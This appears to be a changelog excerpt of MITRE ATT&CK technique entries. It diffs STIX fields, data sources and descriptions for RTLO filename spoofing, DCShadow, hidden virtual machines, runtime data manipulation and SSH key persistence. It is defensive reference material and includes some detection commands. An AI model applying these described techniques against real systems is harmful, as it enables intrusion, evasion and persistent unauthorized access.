| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:45:59.638000+00:00 | 2021-07-20 02:18:04.581000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Data loss prevention | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Drive: Drive Creation | |
| x_mitre_data_sources | File: File Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 17:36:24.531000+00:00 | 2021-03-08 10:33:02.128000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | GCP audit logs | Instance: Instance Start |
| x_mitre_data_sources[2] | Azure activity logs | Instance: Instance Modification |
| x_mitre_data_sources[3] | AWS CloudTrail logs | Instance: Instance Stop |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the right-to-left override (RTLO or RLO) | t | 1 | Adversaries may abuse the right-to-left override (RTLO or RL |
| > | character (U+202E) as a means of tricking a user into execu | > | O) character (U+202E) to disguise a string and/or file name | ||
| > | ting what they think is a benign file type but is actually e | > | to make it appear benign. RTLO is a non-printing Unicode cha | ||
| > | xecutable code. RTLO is a non-printing character that causes | > | racter that causes the text that follows it to be displayed | ||
| > | the text that follows it to be displayed in reverse.(Citati | > | in reverse. For example, a Windows screensaver executable na | ||
| > | on: Infosecinstitute RTLO Technique) For example, a Windows | > | med <code>March 25 \u202Excod.scr</code> will display as <co | ||
| > | screensaver executable named <code>March 25 \u202Excod.scr</ | > | de>March 25 rcs.docx</code>. A JavaScript file named <code>p | ||
| > | code> will display as <code>March 25 rcs.docx</code>. A Java | > | hoto_high_re\u202Egnp.js</code> will be displayed as <code>p | ||
| > | Script file named <code>photo_high_re\u202Egnp.js</code> wil | > | hoto_high_resj.png</code>.(Citation: Infosecinstitute RTLO T | ||
| > | l be displayed as <code>photo_high_resj.png</code>. A commo | > | echnique) Adversaries may abuse the RTLO character as a mea | ||
| > | n use of this technique is with [Spearphishing Attachment](h | > | ns of tricking a user into executing what they think is a be | ||
| > | ttps://attack.mitre.org/techniques/T1566/001)/[Malicious Fil | > | nign file type. A common use of this technique is with [Spea | ||
| > | e](https://attack.mitre.org/techniques/T1204/002) since it c | > | rphishing Attachment](https://attack.mitre.org/techniques/T1 | ||
| > | an trick both end users and defenders if they are not aware | > | 566/001)/[Malicious File](https://attack.mitre.org/technique | ||
| > | of how their tools display and render the RTLO character. Us | > | s/T1204/002) since it can trick both end users and defenders | ||
| > | e of the RTLO character has been seen in many targeted intru | > | if they are not aware of how their tools display and render | ||
| > | sion attempts and criminal activity.(Citation: Trend Micro P | > | the RTLO character. Use of the RTLO character has been seen | ||
| > | LEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be | > | in many targeted intrusion attempts and criminal activity.( | ||
| > | used in the Windows Registry as well, where regedit.exe dis | > | Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO C | ||
| > | plays the reversed characters but the command line tool reg. | > | yber Crime) RTLO can be used in the Windows Registry as well | ||
| > | exe does not by default. | > | , where regedit.exe displays the reversed characters but the | ||
| > | command line tool reg.exe does not by default. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:16:36.316000+00:00 | 2021-10-14 21:01:59.733000+00:00 |
| description | Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.
A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a rogue Domain Controller to enable | t | 1 | Adversaries may register a rogue Domain Controller to enable |
| > | manipulation of Active Directory data. DCShadow may be used | > | manipulation of Active Directory data. DCShadow may be used | ||
| > | to create a rogue Domain Controller (DC). DCShadow is a met | > | to create a rogue Domain Controller (DC). DCShadow is a met | ||
| > | hod of manipulating Active Directory (AD) data, including ob | > | hod of manipulating Active Directory (AD) data, including ob | ||
| > | jects and schemas, by registering (or reusing an inactive re | > | jects and schemas, by registering (or reusing an inactive re | ||
| > | gistration) and simulating the behavior of a DC. (Citation: | > | gistration) and simulating the behavior of a DC. (Citation: | ||
| > | DCShadow Blog) Once registered, a rogue DC may be able to in | > | DCShadow Blog) Once registered, a rogue DC may be able to in | ||
| > | ject and replicate changes into AD infrastructure for any do | > | ject and replicate changes into AD infrastructure for any do | ||
| > | main object, including credentials and keys. Registering a | > | main object, including credentials and keys. Registering a | ||
| > | rogue DC involves creating a new server and nTDSDSA objects | > | rogue DC involves creating a new server and nTDSDSA objects | ||
| > | in the Configuration partition of the AD schema, which requi | > | in the Configuration partition of the AD schema, which requi | ||
| > | res Administrator privileges (either Domain or local to the | > | res Administrator privileges (either Domain or local to the | ||
| > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | ||
| > | ) This technique may bypass system logging and security mon | > | ) This technique may bypass system logging and security mon | ||
| > | itors such as security information and event management (SIE | > | itors such as security information and event management (SIE | ||
| > | M) products (since actions taken on a rogue DC may not be re | > | M) products (since actions taken on a rogue DC may not be re | ||
| > | ported to these sensors). (Citation: DCShadow Blog) The tech | > | ported to these sensors). (Citation: DCShadow Blog) The tech | ||
| > | nique may also be used to alter and delete replication and o | > | nique may also be used to alter and delete replication and o | ||
| > | ther associated metadata to obstruct forensic analysis. Adve | > | ther associated metadata to obstruct forensic analysis. Adve | ||
| > | rsaries may also utilize this technique to perform [SID-Hist | > | rsaries may also utilize this technique to perform [SID-Hist | ||
| > | ory Injection](https://attack.mitre.org/techniques/T1178) an | > | ory Injection](https://attack.mitre.org/techniques/T1134/005 | ||
| > | d/or manipulate AD objects (such as accounts, access control | > | ) and/or manipulate AD objects (such as accounts, access con | ||
| > | lists, schemas) to establish backdoors for Persistence. (Ci | > | trol lists, schemas) to establish backdoors for Persistence. | ||
| > | tation: DCShadow Blog) | > | (Citation: DCShadow Blog) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 21:04:12.164000+00:00 | 2022-03-08 21:20:04.850000+00:00 |
| description | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) |
| x_mitre_data_sources[0] | API monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Authentication logs | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[3] | Packet capture | User Account: User Account Authentication |
| x_mitre_detection | Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. | Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 19:03:40.330000+00:00 | 2021-10-14 22:21:59.708000+00:00 |
| x_mitre_data_sources[0] | Packet capture | Process: Process Creation |
| x_mitre_data_sources[1] | Host network interface | Command: Command Execution |
| x_mitre_data_sources[2] | Windows Registry | File: File Creation |
| x_mitre_data_sources[3] | File monitoring | Image: Image Metadata |
| x_mitre_data_sources[4] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[5] | Process command-line parameters | Service: Service Creation |
| x_mitre_detection | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.
Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages "all").
Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.
Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Shadowbunny VM Defense Evasion', 'description': 'Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.', 'url': 'https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/'} | |
| x_mitre_contributors | Johann Rehberger |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify systems in order to manipulate the da | t | 1 | Adversaries may modify systems in order to manipulate the da |
| > | ta as it is accessed and displayed to an end user.(Citation: | > | ta as it is accessed and displayed to an end user, thus thre | ||
| > | FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By | > | atening the integrity of the data.(Citation: FireEye APT38 O | ||
| > | manipulating runtime data, adversaries may attempt to affec | > | ct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating ru | ||
| > | t a business process, organizational understanding, and deci | > | ntime data, adversaries may attempt to affect a business pro | ||
| > | sion making. Adversaries may alter application binaries use | > | cess, organizational understanding, and decision making. Ad | ||
| > | d to display data in order to cause runtime manipulations. A | > | versaries may alter application binaries used to display dat | ||
| > | dversaries may also conduct [Change Default File Association | > | a in order to cause runtime manipulations. Adversaries may a | ||
| > | ](https://attack.mitre.org/techniques/T1546/001) and [Masque | > | lso conduct [Change Default File Association](https://attack | ||
| > | rading](https://attack.mitre.org/techniques/T1036) to cause | > | .mitre.org/techniques/T1546/001) and [Masquerading](https:// | ||
| > | a similar effect. The type of modification and the impact it | > | attack.mitre.org/techniques/T1036) to cause a similar effect | ||
| > | will have depends on the target application and process as | > | . The type of modification and the impact it will have depen | ||
| > | well as the goals and objectives of the adversary. For compl | > | ds on the target application and process as well as the goal | ||
| > | ex systems, an adversary would likely need special expertise | > | s and objectives of the adversary. For complex systems, an a | ||
| > | and possibly access to specialized software related to the | > | dversary would likely need special expertise and possibly ac | ||
| > | system that would typically be gained through a prolonged in | > | cess to specialized software related to the system that woul | ||
| > | formation gathering campaign in order to have the desired im | > | d typically be gained through a prolonged information gather | ||
| > | pact. | > | ing campaign in order to have the desired impact. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 23:10:34.359000+00:00 | 2022-03-25 19:24:18.545000+00:00 |
| description | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| x_mitre_data_sources[0] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[1] | File monitoring | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into remote machines using Secure | > | g/techniques/T1078) to log into remote machines using Secure | ||
| > | Shell (SSH). The adversary may then perform actions as the | > | Shell (SSH). The adversary may then perform actions as the | ||
| > | logged-on user. SSH is a protocol that allows authorized us | > | logged-on user. SSH is a protocol that allows authorized us | ||
| > | ers to open remote shells on other computers. Many Linux and | > | ers to open remote shells on other computers. Many Linux and | ||
| > | macOS versions come with SSH installed by default, although | > | macOS versions come with SSH installed by default, although | ||
| > | typically disabled until the user enables it. The SSH serve | > | typically disabled until the user enables it. The SSH serve | ||
| > | r can be configured to use standard password authentication | > | r can be configured to use standard password authentication | ||
| > | or public-private keypairs in lieu of or in addition to a pa | > | or public-private keypairs in lieu of or in addition to a pa | ||
| > | ssword. In this authentication scenario, the user’s public k | > | ssword. In this authentication scenario, the user’s public k | ||
| > | ey must be in a special file on the computer running the ser | > | ey must be in a special file on the computer running the ser | ||
| > | ver that lists which keypairs are allowed to login as that u | > | ver that lists which keypairs are allowed to login as that u | ||
| > | ser.(Citation: SSH Secure Shell) | > | ser. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:43:46.977000+00:00 | 2021-10-15 14:15:06.853000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. |
| external_references[2]['source_name'] | SSH Secure Shell | Apple Unified Log Analysis Remote Login and Screen Sharing |
| external_references[2]['description'] | SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020. | Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021. |
| external_references[2]['url'] | https://www.ssh.com/ssh | https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process use of network | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Process: Process Creation |
| x_mitre_detection | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the SSH <code>authorized_keys</code> | t | 1 | Adversaries may modify the SSH <code>authorized_keys</code> |
| > | file to maintain persistence on a victim host. Linux distrib | > | file to maintain persistence on a victim host. Linux distrib | ||
| > | utions and macOS commonly use key-based authentication to se | > | utions and macOS commonly use key-based authentication to se | ||
| > | cure the authentication process of SSH sessions for remote m | > | cure the authentication process of SSH sessions for remote m | ||
| > | anagement. The <code>authorized_keys</code> file in SSH spec | > | anagement. The <code>authorized_keys</code> file in SSH spec | ||
| > | ifies the SSH keys that can be used for logging into the use | > | ifies the SSH keys that can be used for logging into the use | ||
| > | r account for which the file is configured. This file is usu | > | r account for which the file is configured. This file is usu | ||
| > | ally found in the user's home directory under <code><user | > | ally found in the user's home directory under <code><user | ||
| > | -home>/.ssh/authorized_keys</code>.(Citation: SSH Authori | > | -home>/.ssh/authorized_keys</code>.(Citation: SSH Authori | ||
| > | zed Keys) Users may edit the system’s SSH config file to mod | > | zed Keys) Users may edit the system’s SSH config file to mod | ||
| > | ify the directives PubkeyAuthentication and RSAAuthenticatio | > | ify the directives PubkeyAuthentication and RSAAuthenticatio | ||
| > | n to the value “yes” to ensure public key and RSA authentica | > | n to the value “yes” to ensure public key and RSA authentica | ||
| > | tion are enabled. The SSH config file is usually located und | > | tion are enabled. The SSH config file is usually located und | ||
| > | er <code>/etc/ssh/sshd_config</code>. Adversaries may modif | > | er <code>/etc/ssh/sshd_config</code>. Adversaries may modif | ||
| > | y SSH <code>authorized_keys</code> files directly with scrip | > | y SSH <code>authorized_keys</code> files directly with scrip | ||
| > | ts or shell commands to add their own adversary-supplied pub | > | ts or shell commands to add their own adversary-supplied pub | ||
| > | lic keys. This ensures that an adversary possessing the corr | > | lic keys. In cloud environments, adversaries may be able to | ||
| > | esponding private key may log in as an existing user via SSH | > | modify the SSH authorized_keys file of a particular virtual | ||
| > | .(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linu | > | machine via the command line interface or rest API. For exam | ||
| > | x Exim Worm) | > | ple, by using the Google Cloud CLI’s “add-metadata” command | ||
| > | an adversary may add SSH keys to a user account.(Citation: G | ||||
| > | oogle Cloud Add Metadata)(Citation: Google Cloud Privilege E | ||||
| > | scalation) Similarly, in Azure, an adversary may update the | ||||
| > | authorized_keys file of a virtual machine via a PATCH reques | ||||
| > | t to the API.(Citation: Azure Update Virtual Machines) This | ||||
| > | ensures that an adversary possessing the corresponding priva | ||||
| > | te key may log in as an existing user via SSH.(Citation: Ven | ||||
| > | afi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) Wh | ||||
| > | ere authorized_keys files are modified via cloud APIs or com | ||||
| > | mand line interfaces, an adversary may achieve privilege esc | ||||
| > | alation on the target virtual machine if they add a key to a | ||||
| > | higher-privileged user. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 16:32:23.367000+00:00 | 2022-04-20 16:26:57.982000+00:00 |
| description | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm) | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
